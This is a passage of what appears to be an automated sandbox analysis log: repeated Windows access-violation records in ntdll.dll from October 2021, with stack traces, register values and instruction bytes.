exception.address: 0x7756f4ef registers.esp: 1632892 registers.edi: 1632988 registers.eax: 23117 registers.ebp: 1632952 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 2002262528	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7757317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7759ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7759af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633024 registers.edi: 1633112 registers.eax: 23117 registers.ebp: 1633084 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 1633024	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7756f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7756f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7758176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633148 registers.edi: 1633244 registers.eax: 23117 registers.ebp: 1633208 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 2002365952	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7757317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7758199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7758193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633040 registers.edi: 1633128 registers.eax: 23117 registers.ebp: 1633100 registers.edx: 0 registers.ebx: 0 registers.esi: 4063232 registers.ecx: 1633024	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7756f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7756f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7758176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7759af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1632892 registers.edi: 1632988 registers.eax: 23117 registers.ebp: 1632952 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 2002262528	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7757317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7759ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7759af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633024 registers.edi: 1633112 registers.eax: 23117 registers.ebp: 1633084 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 1633024	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7756f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7756f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7758176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633148 registers.edi: 1633244 registers.eax: 23117 registers.ebp: 1633208 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 2002365952	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7757317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7758199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7758193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633040 registers.edi: 1633128 registers.eax: 23117 registers.ebp: 1633100 registers.edx: 0 registers.ebx: 0 registers.esi: 4063232 registers.ecx: 1633024	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7756f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7756f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7758176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7759af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1632892 registers.edi: 1632988 registers.eax: 23117 registers.ebp: 1632952 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 2002262528	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7757317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7759ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7759af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633024 registers.edi: 1633112 registers.eax: 23117 registers.ebp: 1633084 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 1633024	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7756f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7756f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7758176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633148 registers.edi: 1633244 registers.eax: 23117 registers.ebp: 1633208 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 2002365952	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7757317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7758199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7758193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633040 registers.edi: 1633128 registers.eax: 23117 registers.ebp: 1633100 registers.edx: 0 registers.ebx: 0 registers.esi: 4063232 registers.ecx: 1633024	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7756f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7756f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7758176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7759af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1632892 registers.edi: 1632988 registers.eax: 23117 registers.ebp: 1632952 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 2002262528	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7757317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7759ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7759af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633024 registers.edi: 1633112 registers.eax: 23117 registers.ebp: 1633084 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 1633024	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7756f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7756f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7758176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633148 registers.edi: 1633244 registers.eax: 23117 registers.ebp: 1633208 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 2002365952	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7757317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7758199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7758193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 